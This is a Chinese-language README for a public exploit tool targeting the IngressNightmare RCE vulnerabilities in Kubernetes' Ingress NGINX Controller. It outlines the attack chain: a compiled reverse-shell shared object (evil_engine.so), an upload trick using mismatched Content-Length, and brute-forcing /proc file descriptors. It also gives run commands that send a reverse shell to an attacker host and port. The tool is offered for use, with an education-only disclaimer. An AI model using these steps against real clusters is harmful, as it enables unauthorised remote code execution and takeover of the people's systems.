该项目提供了一个针对 Kubernetes 中 Ingress NGINX Controller 的严重 未经身份验证的远程代码执行(RCE) 漏洞的利用工具,统称为 IngressNightmare。
在最初的研究中,Wiz 团队没有提供 PoC 或功能性漏洞利用代码,因此我们决定自行创建并分享给社区。
Ingress NGINX Controller 是 Kubernetes 环境中广泛使用的组件,负责管理集群内服务的外部访问。最近的漏洞(CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974)凸显了严重的安全风险。
该漏洞利用遵循以下主要步骤:
生成共享对象(由注入的 ssl_engine 属性使用):
编译一个包含反向 Shell Payload 的 .so 库(evil_engine.so)。
上传共享对象:
将编译好的共享对象发送到 Ingress Pod,利用请求处理(客户端正文缓冲区)。技巧在于向服务器发送不同的 Content-Length 以保持连接打开。
暴力破解文件描述符: 遍历进程 ID 和文件描述符(/proc/{pid}/fd/{fd})以识别引用已上传对象的正确描述符。
先决条件:
运行漏洞利用工具:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [攻击者主机:端口](https://github.com/zwxxb/cve-2025-1974/blob/main/attacker_host%3Aport)
示例:python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
有时候 admission webhook 位于不同的命名空间中。在这种情况下,你需要在末尾指定命名空间,例如 kube-system、default 或 ingress-nginx。
<ingress_url>:目标 Ingress URL(公网)<admission_webhook_url>:Admission webhook URL(内部 webhook)[攻击者主机:端口](https://github.com/zwxxb/cve-2025-1974/blob/main/attacker_host%3Aport):你的主机和端口,用于接收反向 Shell免责声明
本漏洞利用工具仅供教育和研究目的使用。未经明确授权针对目标使用此工具的行为是被禁止的。Hakai Security 和 QuimeraX 不对任何滥用此工具的行为承担责任。